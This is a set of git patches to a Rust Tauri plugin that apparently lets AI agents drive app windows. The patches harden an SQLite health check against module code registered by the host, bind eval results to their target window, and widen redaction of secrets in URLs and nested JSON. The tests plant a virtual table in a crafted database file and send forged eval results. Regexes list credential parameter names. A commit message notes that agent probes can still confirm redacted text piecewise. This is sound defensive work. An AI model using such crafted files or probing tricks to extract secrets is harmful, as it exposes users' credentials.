a/crates/victauri-plugin/src/database.rs +++ b/crates/victauri-plugin/src/database.rs @@ -176,12 +176,14 @@ const MAX_DB_HEALTH_CELL_BYTES: i32 = 1_048_576; /// The database file is treated as untrusted input: the connection is opened read-only with /// `trusted_schema=OFF` and `SQLite`'s defensive mode, and virtual tables are listed but never /// counted (counting one runs its module's code). That does not keep virtual-table module code -/// out of the call entirely: `quick_check` connects every virtual table whose module is -/// registered and (`SQLite` >= 3.44) runs its `xIntegrity` check. Victauri registers no module on -/// this connection, so that is `SQLite`'s built-ins (FTS3/4/5, R-Tree) plus anything the host -/// process installed as an auto-extension. Verified on -/// 3.46: a corrupted FTS5 index reports `malformed inverted index for FTS5 table …`, and a -/// broken one fails `quick_check` with `vtable constructor failed`. +/// out of the call by itself: a whole-database `quick_check` connects every virtual table whose +/// module is registered and (`SQLite` >= 3.44) runs its `xIntegrity` check. Victauri registers no +/// module on this connection, so that is `SQLite`'s built-ins (FTS3/4/5, R-Tree — checked: on +/// 3.46 a corrupted FTS5 index reports `malformed inverted index for FTS5 table …`) plus +/// anything the host process installed as an auto-extension. So when the host registered a +/// non-built-in module and the file has virtual tables, the check runs per ordinary table +/// instead (`integrity_check_kind: "quick_check (per table)"`, with the reason in +/// `integrity_check_note`) and no module code runs. #[cfg(feature = "sqlite")] pub(crate) fn db_health_report( path: &str, @@ -273,6 +275,15 @@ pub(crate) fn db_health_report( #[allow(clippy::cast_precision_loss)] let db_size_mb = page_count.saturating_mul(page_size) as f64 / (1024.0 * 1024.0); + // Needed by phase 2 (the loop below consumes `names`). + let ordinary_tables: Vec = names + .iter() + .filter(|(_, kind)| *kind == TableKind::Ordinary) + .map(|(name, _)| name.clone()) + .collect(); + let may_hold_virtual_tables = + tables_truncated || names.iter().any(|(_, kind)| *kind != TableKind::Ordinary); + // Phase 1: per-table row counts under a shared count budget. let counts_started = Instant::now(); let mut budget_exhausted = false; @@ -312,18 +323,66 @@ pub(crate) fn db_health_report( tables.push(entry); } - // Phase 2: integrity, on its own budget. - let integrity = match run_bounded(&conn, check_budget, |c| { - c.pragma_query_value(None, "quick_check", |r| r.get::<_, String>(0)) - }) { - Bounded::Done(s) => s, - Bounded::TimedOut => format!( - "not completed: quick_check exceeded its {} ms budget on a {:.0} MB database \ - (a full-file scan; the result is unknown, not failed)", - check_budget.as_millis(), - db_size_mb - ), - Bounded::Failed(e) => format!("failed: {e}"), + // Phase 2: integrity, on its own budget. A whole-database `quick_check` connects every + // virtual table whose module is registered and (SQLite >= 3.44) runs the module's integrity + // routine. SQLite's own modules are fine; a module the HOST registered process-wide (an + // auto-extension) is arbitrary code. With such a module registered and virtual tables in + // the file, check the ordinary tables one by one (`PRAGMA quick_check()`), which + // connects no virtual table. + let per_table_reason = if may_hold_virtual_tables { + match foreign_vtab_modules(&conn) { + Ok(modules) if modules.is_empty() => None, + Ok(modules) => Some(format!( + "the database has virtual tables and the host registered non-built-in \ + virtual-table module(s) {}", + modules.join(", ") + )), + Err(e) => Some(format!( + "the database has virtual tables and the registered virtual-table modules could \ + not be listed ({e})" + )), + } + } else { + None + }; + let (integrity, integrity_kind, integrity_note) = match per_table_reason { + None => { + let integrity = match run_bounded(&conn, check_budget, |c| { + c.pragma_query_value(None, "quick_check", |r| r.get::<_, String>(0)) + }) { + Bounded::Done(s) => s, + Bounded::TimedOut => format!( + "not completed: quick_check exceeded its {} ms budget on a {:.0} MB database \ + (a full-file scan; the result is unknown, not failed)", + check_budget.as_millis(), + db_size_mb + ), + Bounded::Failed(e) => format!("failed: {e}"), + }; + (integrity, "quick_check", None) + } + Some(reason) => { + let integrity = match run_bounded(&conn, check_budget, |c| { + quick_check_tables(c, &ordinary_tables) + }) { + Bounded::Done(problems) if problems.is_empty() => "ok".to_string(), + Bounded::Done(problems) => problems.join("\n"), + Bounded::TimedOut => format!( + "not completed: the per-table quick_check exceeded its {} ms budget on a \ + {:.0} MB database (the result is unknown, not failed)", + check_budget.as_millis(), + db_size_mb + ), + Bounded::Failed(e) => format!("failed: {e}"), + }; + let note = format!( + "{reason}: checked the {} ordinary table(s) one by one instead of the whole \ + database, so no virtual-table module code ran. Virtual tables and \ + database-wide structures (the free list) were not checked.", + ordinary_tables.len() + ); + (integrity, "quick_check (per table)", Some(note)) + } }; Ok(serde_json::json!({ @@ -335,7 +394,8 @@ pub(crate) fn db_health_report( "freelist_count": freelist_count, "wal_checkpoint": wal_checkpoint, "integrity_check": integrity, - "integrity_check_kind": "quick_check", + "integrity_check_kind": integrity_kind, + "integrity_check_note": integrity_note, "tables": tables, "tables_truncated": tables_truncated, // Every listed table has a row count (false if the budget ran out, a count failed, or a @@ -345,6 +405,79 @@ pub(crate) fn db_health_report( })) } +/// Virtual-table modules that are part of `SQLite` itself (compiled-in extensions and the +/// eponymous introspection tables). Anything else registered on a connection came from the +/// host process. +#[cfg(feature = "sqlite")] +static SQLITE_BUILTIN_VTAB_MODULES: &[&str] = &[ + "fts3", + "fts3tokenize", + "fts4", + "fts4aux", + "fts5", + "fts5vocab", + "rtree", + "rtree_i32", + "geopoly", + "dbstat", + "sqlite_dbpage", + "sqlite_dbdata", + "sqlite_dbptr", + "sqlite_stmt", + "json_each", + "json_tree", + "jsonb_each", + "jsonb_tree", + "carray", + "generate_series", + "bytecode", + "tables_used", + "completion", +]; + +/// Most problems reported by a per-table `quick_check`. +#[cfg(feature = "sqlite")] +const MAX_INTEGRITY_PROBLEMS: usize = 100; + +/// The virtual-table modules registered on `conn` that are not part of `SQLite`. +#[cfg(feature = "sqlite")] +fn foreign_vtab_modules(conn: &rusqlite::Connection) -> rusqlite::Result> { + let mut stmt = conn.prepare("SELECT name FROM pragma_module_list ORDER BY name")?; + let names = stmt + .query_map([], |r| r.get::<_, String>(0))? + .collect::>>()?; + Ok(names + .into_iter() + .filter(|name| { + let lower = name.to_ascii_lowercase(); + !lower.starts_with("pragma_") && !SQLITE_BUILTIN_VTAB_MODULES.contains(&lower.as_str()) + }) + .collect()) +} + +/// `PRAGMA quick_check(
    )` for each of `tables` (ordinary tables only: checking one +/// connects no virtual table). Returns the problems found (empty = ok), at most +/// [`MAX_INTEGRITY_PROBLEMS`]. +#[cfg(feature = "sqlite")] +fn quick_check_tables( + conn: &rusqlite::Connection, + tables: &[String], +) -> rusqlite::Result> { + let mut problems = Vec::new(); + for table in tables { + let sql = format!("PRAGMA quick_check({})", quote_sqlite_identifier(table)); + let mut stmt = conn.prepare(&sql)?; + let mut rows = stmt.query([])?; + while let Some(row) = rows.next()? { + let line: String = row.get(0)?; + if line != "ok" && problems.len() < MAX_INTEGRITY_PROBLEMS { + problems.push(line); + } + } + } + Ok(problems) +} + /// How [`db_health_report`] treats a `sqlite_master` table entry. #[cfg(feature = "sqlite")] #[derive(Clone, Copy, PartialEq, Eq)] @@ -1906,6 +2039,153 @@ mod tests { } } + /// Register a virtual-table module named `name` on `conn` (as a host's + /// `sqlite3_auto_extension` would) whose constructor only counts how often it ran and fails. + #[allow(unsafe_code)] + fn register_counting_module( + conn: &rusqlite::Connection, + name: &str, + connects: &'static std::sync::atomic::AtomicUsize, + ) { + use rusqlite::ffi; + use std::os::raw::{c_char, c_int, c_void}; + unsafe extern "C" fn construct( + _db: *mut ffi::sqlite3, + aux: *mut c_void, + _argc: c_int, + _argv: *const *const c_char, + _vtab: *mut *mut ffi::sqlite3_vtab, + _err: *mut *mut c_char, + ) -> c_int { + // SAFETY: `aux` is the `&'static AtomicUsize` passed as client data below. + let counter = unsafe { &*aux.cast::() }; + counter.fetch_add(1, std::sync::atomic::Ordering::SeqCst); + ffi::SQLITE_ERROR + } + // SAFETY: an all-zero `sqlite3_module` is valid (version 0, every method absent). + let mut module: ffi::sqlite3_module = unsafe { std::mem::zeroed() }; + module.xCreate = Some(construct); + module.xConnect = Some(construct); + let module: &'static ffi::sqlite3_module = Box::leak(Box::new(module)); + let name = std::ffi::CString::new(name).unwrap(); + // SAFETY: a valid connection handle, a NUL-terminated name, a module that outlives the + // connection (leaked) and client data that is `'static`; no destructor. + let rc = unsafe { + ffi::sqlite3_create_module_v2( + conn.handle(), + name.as_ptr(), + module, + std::ptr::from_ref(connects).cast_mut().cast(), + None, + ) + }; + assert_eq!(rc, ffi::SQLITE_OK); + } + + /// Plant `CREATE VIRTUAL TABLE
    USING (x)` in the schema without the module + /// being present (`writable_schema`), as a crafted database file can. + fn plant_virtual_table(path: &Path, table: &str, module: &str) { + let conn = rusqlite::Connection::open(path).unwrap(); + conn.execute_batch("PRAGMA writable_schema=ON;").unwrap(); + conn.execute( + "INSERT INTO sqlite_master (type, name, tbl_name, rootpage, sql) \ + VALUES ('table', ?1, ?1, 0, ?2)", + [ + table.to_string(), + format!("CREATE VIRTUAL TABLE {table} USING {module}(x)"), + ], + ) + .unwrap(); + } + + /// R5B-QC1: on `SQLite` >= 3.44 a whole-database `quick_check` connects every virtual + /// table whose module is registered and runs its integrity routine — module code, including + /// a module the HOST registered process-wide. With such a module registered and a virtual + /// table using it in the file, `db_health` must check the ordinary tables one by one instead, + /// so no module code runs. + #[test] + fn db_health_never_runs_a_host_registered_module() { + static CONNECTS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0); + let (_f, path) = create_test_db(); + plant_virtual_table(&path, "planted", "victauri_marker"); + let long = Duration::from_secs(10); + let r = with_open_hook( + |c| register_counting_module(c, "victauri_marker", &CONNECTS), + || db_health_report(path.to_str().unwrap(), long, long).unwrap(), + ); + assert_eq!( + CONNECTS.load(std::sync::atomic::Ordering::SeqCst), + 0, + "the module's constructor ran: {r}" + ); + assert_eq!(r["integrity_check"], "ok", "{r}"); + assert_eq!(r["integrity_check_kind"], "quick_check (per table)", "{r}"); + let note = r["integrity_check_note"].as_str().unwrap_or_default(); + assert!(note.contains("victauri_marker"), "{r}"); + let planted = r["tables"] + .as_array() + .unwrap() + .iter() + .find(|t| t["name"] == "planted") + .expect("the planted table is listed"); + assert!(planted["row_count"].is_null(), "{planted}"); + } + + /// Per-table checking still finds corruption in an ordinary table. + #[test] + fn db_health_per_table_check_still_reports_problems() { + static CONNECTS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0); + let file = tempfile::NamedTempFile::with_suffix(".sqlite").unwrap(); + let path = file.path().to_path_buf(); + { + let conn = rusqlite::Connection::open(&path).unwrap(); + conn.execute_batch( + "CREATE TABLE t (id INTEGER PRIMARY KEY, v TEXT); + INSERT INTO t VALUES (1, 'a'), (2, NULL), (3, 'c');", + ) + .unwrap(); + // Declare a NOT NULL the stored rows violate (quick_check verifies NOT NULL). + conn.execute_batch( + "PRAGMA writable_schema=ON; + UPDATE sqlite_master SET sql = 'CREATE TABLE t (id INTEGER PRIMARY KEY, v TEXT NOT NULL)' WHERE name = 't';", + ) + .unwrap(); + } + plant_virtual_table(&path, "planted", "victauri_marker2"); + let long = Duration::from_secs(10); + let r = with_open_hook( + |c| register_counting_module(c, "victauri_marker2", &CONNECTS), + || db_health_report(path.to_str().unwrap(), long, long).unwrap(), + ); + assert_eq!(CONNECTS.load(std::sync::atomic::Ordering::SeqCst), 0); + assert_eq!(r["integrity_check_kind"], "quick_check (per table)", "{r}"); + let integrity = r["integrity_check"].as_str().unwrap(); + assert!(integrity.contains("NULL value in t.v"), "{r}"); + } + + /// Without a host-registered module the whole database is still checked, `SQLite`'s own + /// virtual tables included (an FTS5 table), and a virtual table whose module is not loaded + /// is simply not connected. + #[test] + fn db_health_checks_the_whole_database_when_only_builtin_modules_exist() { + let (_f, path) = create_test_db(); + let conn = rusqlite::Connection::open(&path).unwrap(); + if conn + .execute_batch( + "CREATE VIRTUAL TABLE docs USING fts5(body); INSERT INTO docs VALUES ('x');", + ) + .is_err() + { + return; // this SQLite build has no FTS5 + } + drop(conn); + plant_virtual_table(&path, "unknown_vtab", "not_a_loaded_module"); + let long = Duration::from_secs(10); + let r = db_health_report(path.to_str().unwrap(), long, long).unwrap(); + assert_eq!(r["integrity_check"], "ok", "{r}"); + assert_eq!(r["integrity_check_kind"], "quick_check", "{r}"); + } + #[test] fn db_health_counts_hundreds_of_tables_within_budget() { // Each count used to cost a fixed ~25ms (the interrupt watchdog's sleep step, joined From 959a902ea1d812ed61e7b33eb9c938ccb31ef529 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 03:18:15 +1000 Subject: [PATCH 156/167] fix(plugin): accept an eval result only from the window it was sent to (R5B-EVALWIN1) victauri_eval_callback delivered a result for any pending eval id to whichever webview sent it. Every pending-eval reservation now records its target window (PendingSlot::bind_window: agent evals, liveness probes, recording drains, page evals), and the callback drops (with a debug log) a result whose calling webview is not that window. An eval sent to the default window (label None) is checked against the window the default resolves to when the result arrives, and is narrowed to the concrete label as soon as eval_webview_resolved reports it. A result for an unbound or unknown id is refused. The binding lives exactly as long as the slot. The bridge-ready signal is unchanged (it carries no eval id and records the load against the calling webview's own label). Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/bridge.rs | 10 ++ crates/victauri-plugin/src/lib.rs | 49 +++++++++ crates/victauri-plugin/src/mcp/mod.rs | 8 +- crates/victauri-plugin/src/mcp/server.rs | 4 +- crates/victauri-plugin/src/tools.rs | 132 +++++++++++++++++++++-- 5 files changed, 193 insertions(+), 10 deletions(-) diff --git a/crates/victauri-plugin/src/bridge.rs b/crates/victauri-plugin/src/bridge.rs index cdfbd2ca..5c1e5bb0 100644 --- a/crates/victauri-plugin/src/bridge.rs +++ b/crates/victauri-plugin/src/bridge.rs @@ -204,6 +204,16 @@ fn find_window<'a, R: Runtime>( } } +/// The label of the window a `None` label resolves to (see `find_window`). MAIN THREAD ONLY: +/// it lists the webview windows, which clones their handles (see [`on_main`]) — for a sync +/// Tauri command such as the eval callback. +pub(crate) fn default_window_label(app: &tauri::AppHandle) -> Option { + let windows = app.webview_windows(); + find_window(&windows, None) + .ok() + .map(|window| window.label().to_string()) +} + /// Serializes Victauri's main-thread round trips. /// /// **Correction (0.9.0): the heap corruption described below was NOT caused by concurrent round diff --git a/crates/victauri-plugin/src/lib.rs b/crates/victauri-plugin/src/lib.rs index 49b98048..7ff69aea 100644 --- a/crates/victauri-plugin/src/lib.rs +++ b/crates/victauri-plugin/src/lib.rs @@ -178,10 +178,59 @@ impl PendingSlot { pub(crate) fn id(&self) -> &str { &self.id } + + /// Record which window this eval's result must come from: `Some(label)` for that window, + /// `None` for the default window (resolved when the result arrives). Call before the eval + /// is delivered — a result for an unbound eval is refused (see [`eval_result_accepted`]). + /// May be called again to narrow `None` to the label the eval actually resolved to. + pub(crate) fn bind_window(&self, label: Option<&str>) { + let target = label.map_or(EvalTarget::DefaultWindow, |l| { + EvalTarget::Window(l.to_string()) + }); + eval_targets().insert(self.id.clone(), target); + } +} + +/// The window an eval's result must come from. +#[derive(Clone, Debug, PartialEq, Eq)] +enum EvalTarget { + /// This window. + Window(String), + /// The default window, as resolved when the result arrives. + DefaultWindow, +} + +/// Eval id -> the window its result must come from (entries live as long as their +/// [`PendingSlot`]). Process-wide: eval ids are UUIDs, unique across every state. +static EVAL_TARGETS: std::sync::LazyLock>> = + std::sync::LazyLock::new(Default::default); + +fn eval_targets() -> std::sync::MutexGuard<'static, HashMap> { + EVAL_TARGETS + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) +} + +/// Whether an eval result for `id` arriving from webview `caller` may be delivered: only from +/// the window the eval was sent to (R5B-EVALWIN1). `default_label` resolves the default window +/// (only called for an eval sent to it). A result for an id with no binding — not a pending eval, +/// or one that was never bound — is refused. +pub(crate) fn eval_result_accepted( + id: &str, + caller: &str, + default_label: impl FnOnce() -> Option, +) -> bool { + let target = eval_targets().get(id).cloned(); + match target { + Some(EvalTarget::Window(label)) => label == caller, + Some(EvalTarget::DefaultWindow) => default_label().as_deref() == Some(caller), + None => false, + } } impl Drop for PendingSlot { fn drop(&mut self) { + eval_targets().remove(&self.id); // The map's lock is async and only held for map operations, so it is almost always // free; when it is not, finish the removal on the runtime (or block, outside one). if let Ok(mut map) = self.map.try_lock() { diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index a8f612a4..083609d2 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -4911,7 +4911,8 @@ impl VictauriMcpHandler { async fn probe_bridge(&self, webview_label: Option<&str>) -> Result, String> { let id = uuid::Uuid::new_v4().to_string(); let (tx, rx) = tokio::sync::oneshot::channel(); - let _slot = self.reserve_pending(&id, tx).await?; + let slot = self.reserve_pending(&id, tx).await?; + slot.bind_window(webview_label); let probe = crate::js_bridge::eval_probe_script(&id); if let Err(e) = self.bridge.eval_webview(webview_label, &probe) { return Err(format!("eval injection failed: {e}")); @@ -5103,10 +5104,12 @@ impl VictauriMcpHandler { let id = uuid::Uuid::new_v4().to_string(); let (tx, rx) = tokio::sync::oneshot::channel(); - let _slot = self + let slot = self .reserve_pending(&id, tx) .await .map_err(|e| EvalFailure::new(NotSent, e))?; + // Only the target window may answer (a `None` label is narrowed once it has resolved). + slot.bind_window(webview_label); // Auto-prepend `return` so bare expressions produce a value — but ONLY // for single expressions. Multi-statement blocks (or code containing an @@ -5147,6 +5150,7 @@ impl VictauriMcpHandler { let deliver_to = if target.is_empty() { webview_label } else { + slot.bind_window(Some(target.as_str())); Some(target.as_str()) }; let check = crate::js_bridge::eval_check_script(&id, armed_nonce.as_deref()); diff --git a/crates/victauri-plugin/src/mcp/server.rs b/crates/victauri-plugin/src/mcp/server.rs index 7de216c8..2ba34fbf 100644 --- a/crates/victauri-plugin/src/mcp/server.rs +++ b/crates/victauri-plugin/src/mcp/server.rs @@ -1378,7 +1378,9 @@ async fn drain_window( if pending.len() >= MAX_PENDING_EVALS { return None; } - crate::PendingSlot::insert(&state.pending_evals, &mut pending, id.clone(), tx) + let slot = crate::PendingSlot::insert(&state.pending_evals, &mut pending, id.clone(), tx); + slot.bind_window(Some(label)); + slot }; // Delivered through the bridge's frozen `_evalSettle`, which serializes with the diff --git a/crates/victauri-plugin/src/tools.rs b/crates/victauri-plugin/src/tools.rs index 6d1d5c01..c035a2a0 100644 --- a/crates/victauri-plugin/src/tools.rs +++ b/crates/victauri-plugin/src/tools.rs @@ -89,12 +89,9 @@ pub async fn reserve_page_eval( crate::mcp::MAX_PENDING_EVALS )); } - Ok(crate::PendingSlot::insert( - &state.pending_evals, - &mut pending, - id, - tx, - )) + let slot = crate::PendingSlot::insert(&state.pending_evals, &mut pending, id, tx); + slot.bind_window(Some(label)); + Ok(slot) } #[tauri::command] @@ -177,10 +174,37 @@ pub fn victauri_eval_callback( state.page_loads.record_load(webview.label(), nonce); return Ok(()); } - deliver_eval_result(Arc::clone(state.inner()), id, result); + accept_eval_result( + Arc::clone(state.inner()), + webview.label(), + || crate::bridge::default_window_label(webview.app_handle()), + id, + result, + ); Ok(()) } +/// Deliver an eval result from webview `caller` — only if the eval was sent to that window +/// (see [`crate::eval_result_accepted`]); a result from any other window is dropped. Returns +/// whether it was accepted. +fn accept_eval_result( + state: Arc, + caller: &str, + default_label: impl FnOnce() -> Option, + id: String, + result: String, +) -> bool { + if !crate::eval_result_accepted(&id, caller, default_label) { + tracing::debug!( + window = caller, + "ignored an eval result from a window the eval was not sent to (or for no pending eval)" + ); + return false; + } + deliver_eval_result(state, id, result); + true +} + /// Hand an eval result to the caller waiting on `id` without blocking the calling (main) /// thread: in place when the pending map is free, else from a tokio task holding only owned /// data. @@ -452,6 +476,100 @@ mod tests { assert_eq!(ghosts.frontend_only.len(), 20); } + /// R5B-EVALWIN1: `victauri_eval_callback` delivered a result for any pending eval id to + /// whichever window sent it. A result is now accepted only from the window the eval was sent + /// to — by label, or for an eval sent to the default window, from the window the default + /// resolves to. + #[tokio::test] + async fn eval_results_are_accepted_only_from_the_target_window() { + let state = Arc::new(VictauriState::for_tests()); + let no_default = || None; + + // A page eval for window "main". + let (tx, mut rx) = tokio::sync::oneshot::channel(); + let slot = reserve_page_eval(&state, "main", tx).await.unwrap(); + let id = slot.id().to_string(); + assert!(!accept_eval_result( + Arc::clone(&state), + "other", + no_default, + id.clone(), + "forged".into() + )); + assert!( + rx.try_recv().is_err(), + "another window's result was delivered" + ); + assert!(accept_eval_result( + Arc::clone(&state), + "main", + no_default, + id, + "real".into() + )); + assert_eq!(rx.await.unwrap(), "real"); + drop(slot); + + // An agent eval sent to the default window. + let (tx, mut rx) = tokio::sync::oneshot::channel(); + let slot = { + let mut pending = state.pending_evals.lock().await; + crate::PendingSlot::insert(&state.pending_evals, &mut pending, "agent-1".into(), tx) + }; + slot.bind_window(None); + let main_is_default = || Some("main".to_string()); + assert!(!accept_eval_result( + Arc::clone(&state), + "other", + main_is_default, + "agent-1".into(), + "x".into() + )); + assert!(rx.try_recv().is_err()); + // Narrowed to the window it actually resolved to. + slot.bind_window(Some("side")); + assert!(!accept_eval_result( + Arc::clone(&state), + "main", + main_is_default, + "agent-1".into(), + "x".into() + )); + assert!(accept_eval_result( + Arc::clone(&state), + "side", + main_is_default, + "agent-1".into(), + "ok".into() + )); + assert_eq!(rx.await.unwrap(), "ok"); + + // An eval that was never bound, and an id with no pending eval, are refused. + let (tx, _rx) = tokio::sync::oneshot::channel(); + let unbound = { + let mut pending = state.pending_evals.lock().await; + crate::PendingSlot::insert(&state.pending_evals, &mut pending, "agent-2".into(), tx) + }; + assert!(!accept_eval_result( + Arc::clone(&state), + "main", + main_is_default, + "agent-2".into(), + "x".into() + )); + assert!(!accept_eval_result( + Arc::clone(&state), + "main", + main_is_default, + "nope".into(), + "x".into() + )); + drop(unbound); + // The binding goes with the slot. + drop(slot); + assert!(!crate::eval_result_accepted("agent-1", "side", || None)); + } + /// Tauri runs an `async` command on a tokio worker and extracts/drops its arguments and its /// resolver (which holds a `Webview`) there; on Linux every Tauri handle carries a non-atomic /// `Rc`, and doing that for the eval callback on every eval corrupted the host heap (0.9.0). From e81cd8d93db4ba9f3f641ed727c4dff220d66f8e Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 04:03:40 +1000 Subject: [PATCH 157/167] fix(plugin): redact URL credential params and keys in embedded/nested JSON (R5B-REDACT1) Redaction is best effort, but two common leak paths were not covered: - Secrets in URL query strings/fragments (IPC/network logs carry full, often tokenized URLs). The value of access_token, refresh_token, id_token, auth_token, token, api_key/apikey, key, client_secret, secret, password, pwd, auth, sig/signature and the AWS/GCS signing params after ?, & or # is now replaced (whole parameter names only: ?keyboard= and &tokens_used= are untouched). - Key-based redaction ran only when the WHOLE output parsed as JSON. It now also follows JSON carried inside JSON string values (captured bodies are JSON-encoded strings; up to 4 levels), and redacts "key": value pairs in plain text and in truncated JSON fragments (incl. a value cut off at the end of the text). docs/src/security.md lists the new coverage and the remaining limits: text probes (find_elements text search even under Observe, wait_for text under Test, assert_semantic/eval_js under FullControl) can still confirm redacted content piecewise; secrets under innocuous keys, in non-JSON formats, or in URL paths are not recognised. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/redaction.rs | 251 +++++++++++++++++++----- docs/src/security.md | 27 ++- 2 files changed, 230 insertions(+), 48 deletions(-) diff --git a/crates/victauri-plugin/src/redaction.rs b/crates/victauri-plugin/src/redaction.rs index 5d88dce7..64ba444f 100644 --- a/crates/victauri-plugin/src/redaction.rs +++ b/crates/victauri-plugin/src/redaction.rs @@ -49,6 +49,78 @@ const SENSITIVE_JSON_KEYS: &[&str] = &[ "card_number", ]; +/// URL query/fragment parameters whose value is a credential. Matched only as a whole parameter +/// name right after `?`, `&` or `#`, so `?keyboard=` or `&tokens_used=` are left alone. +const SECRET_URL_PARAMS: &[&str] = &[ + "access_token", + "access-token", + "refresh_token", + "id_token", + "auth_token", + "token", + "api_key", + "api-key", + "apikey", + "key", + "client_secret", + "secret", + "password", + "passwd", + "pwd", + "auth", + "sig", + "signature", + "x-amz-signature", + "x-amz-credential", + "x-amz-security-token", + "x-goog-signature", + "x-goog-credential", +]; + +/// `?name=value` / `&name=value` / `#name=value` for a [`SECRET_URL_PARAMS`] name; the value runs +/// to the next separator, whitespace, quote or backslash (the end of a JSON string). +static URL_SECRET_PARAM_RE: std::sync::LazyLock> = + std::sync::LazyLock::new(|| { + let names: Vec = SECRET_URL_PARAMS.iter().map(|n| regex::escape(n)).collect(); + compile_builtin(&format!( + r#"(?i)([?&#](?:{})=)[^&#\s"'<>\\]+"#, + names.join("|") + )) + }); + +/// `"": ""` or `: ` in free text — JSON +/// embedded in a non-JSON output, a truncated JSON fragment, or the content of a JSON string. A +/// string value cut off by the end of the text (a truncated body) is redacted to the end. +static TEXT_KEY_VALUE_RE: std::sync::LazyLock> = std::sync::LazyLock::new( + || { + let mut words: Vec = SENSITIVE_JSON_KEYS + .iter() + .map(|k| regex::escape(&k.to_lowercase())) + .collect(); + words.sort(); + words.dedup(); + compile_builtin(&format!( + r#"(?i)("[^"\\\n]{{0,64}}?(?:{})[^"\\\n]{{0,64}}?"\s*:\s*)("(?:[^"\\]|\\.)*(?:"|\z)|-?\d[\d.eE+-]*)"#, + words.join("|") + )) + }, +); + +/// Compile one of the built-in patterns; a failure is a bug, logged instead of panicking. +fn compile_builtin(pattern: &str) -> Option { + regex::Regex::new(pattern) + .inspect_err(|e| tracing::error!("BUG: built-in redaction pattern failed to compile: {e}")) + .ok() +} + +/// Replace the value of every sensitive `"key": value` pair found in free text. +fn redact_text_key_values(text: &str) -> std::borrow::Cow<'_, str> { + match TEXT_KEY_VALUE_RE.as_ref() { + Some(re) => re.replace_all(text, r#"${1}"[REDACTED]""#), + None => std::borrow::Cow::Borrowed(text), + } +} + /// Output redactor that scrubs API keys, tokens, emails, and sensitive JSON keys /// from MCP tool output. Applies built-in patterns plus optional custom regexes. pub struct Redactor { @@ -143,9 +215,20 @@ impl Redactor { } /// Scrub sensitive data from `input` using regex patterns and JSON-key matching. + /// + /// Passes, in order: the value patterns (API keys, bearer tokens, JWTs, emails, … plus any + /// custom patterns); credential parameters in URLs (`?access_token=…`, `&sig=…`); then keys. + /// Key-based redaction applies to the whole output when it is JSON — including JSON carried + /// inside its string values (IPC/network bodies are JSON-encoded strings) — and otherwise to + /// `"key": value` pairs found in the text. Best effort: see the limits in `docs/src/security.md`. #[must_use] pub fn redact(&self, input: &str) -> String { let mut output = self.redact_regex(input); + if let Some(re) = URL_SECRET_PARAM_RE.as_ref() + && re.is_match(&output) + { + output = re.replace_all(&output, "${1}[REDACTED]").into_owned(); + } output = self.redact_json_keys(&output); output } @@ -176,68 +259,81 @@ impl Redactor { } fn redact_json_keys(&self, input: &str) -> String { - if let Ok(value) = serde_json::from_str::(input) { - if !json_has_sensitive_keys(&value) { - return input.to_string(); - } - let redacted = redact_json_value(&value); - serde_json::to_string(&redacted).unwrap_or_else(|_| input.to_string()) - } else { - input.to_string() + match serde_json::from_str::(input) { + Ok(value) => match redact_json_value(&value, 0) { + Some(redacted) => { + serde_json::to_string(&redacted).unwrap_or_else(|_| input.to_string()) + } + None => input.to_string(), + }, + // Not JSON as a whole: redact the `"key": value` pairs of any JSON inside the text. + Err(_) => redact_text_key_values(input).into_owned(), } } } -fn json_has_sensitive_keys(value: &serde_json::Value) -> bool { - match value { - serde_json::Value::Object(map) => { - for (key, val) in map { - let lower_key = key.to_lowercase(); - if SENSITIVE_JSON_KEYS - .iter() - .any(|k| lower_key.contains(&k.to_lowercase())) - { - return true; - } - if json_has_sensitive_keys(val) { - return true; - } - } - false - } - serde_json::Value::Array(arr) => arr.iter().any(json_has_sensitive_keys), - _ => false, - } +/// How deep JSON nested inside JSON strings is followed. +const MAX_NESTED_JSON_DEPTH: usize = 4; + +fn is_sensitive_key(key: &str) -> bool { + let lower_key = key.to_lowercase(); + SENSITIVE_JSON_KEYS + .iter() + .any(|k| lower_key.contains(&k.to_lowercase())) } -fn redact_json_value(value: &serde_json::Value) -> serde_json::Value { +/// `value` with every sensitive key's value redacted, or `None` if nothing needed redacting. +/// A string value that holds JSON is redacted inside (and re-encoded); any other string has the +/// `"key": value` pairs in its text redacted (a truncated JSON body, say). +fn redact_json_value(value: &serde_json::Value, depth: usize) -> Option { match value { serde_json::Value::Object(map) => { + let mut changed = false; let mut new_map = serde_json::Map::new(); for (key, val) in map { - let lower_key = key.to_lowercase(); - if SENSITIVE_JSON_KEYS - .iter() - .any(|k| lower_key.contains(&k.to_lowercase())) - { - if val.is_string() || val.is_number() { - new_map.insert(key.clone(), serde_json::Value::String("[REDACTED]".into())); - } else if val.is_boolean() { - // Booleans like has_api_key: true are safe — they indicate presence, not value - new_map.insert(key.clone(), val.clone()); - } else { - new_map.insert(key.clone(), serde_json::Value::String("[REDACTED]".into())); - } + let new_val = if is_sensitive_key(key) && !val.is_boolean() { + // Booleans like `has_api_key: true` only indicate presence — kept. + Some(serde_json::Value::String("[REDACTED]".into())) } else { - new_map.insert(key.clone(), redact_json_value(val)); - } + redact_json_value(val, depth) + }; + changed |= new_val.is_some(); + new_map.insert(key.clone(), new_val.unwrap_or_else(|| val.clone())); } - serde_json::Value::Object(new_map) + changed.then_some(serde_json::Value::Object(new_map)) } serde_json::Value::Array(arr) => { - serde_json::Value::Array(arr.iter().map(redact_json_value).collect()) + let redacted: Vec> = + arr.iter().map(|v| redact_json_value(v, depth)).collect(); + redacted.iter().any(Option::is_some).then(|| { + serde_json::Value::Array( + redacted + .into_iter() + .zip(arr) + .map(|(new, old)| new.unwrap_or_else(|| old.clone())) + .collect(), + ) + }) } - other => other.clone(), + serde_json::Value::String(text) => redact_json_string(text, depth), + _ 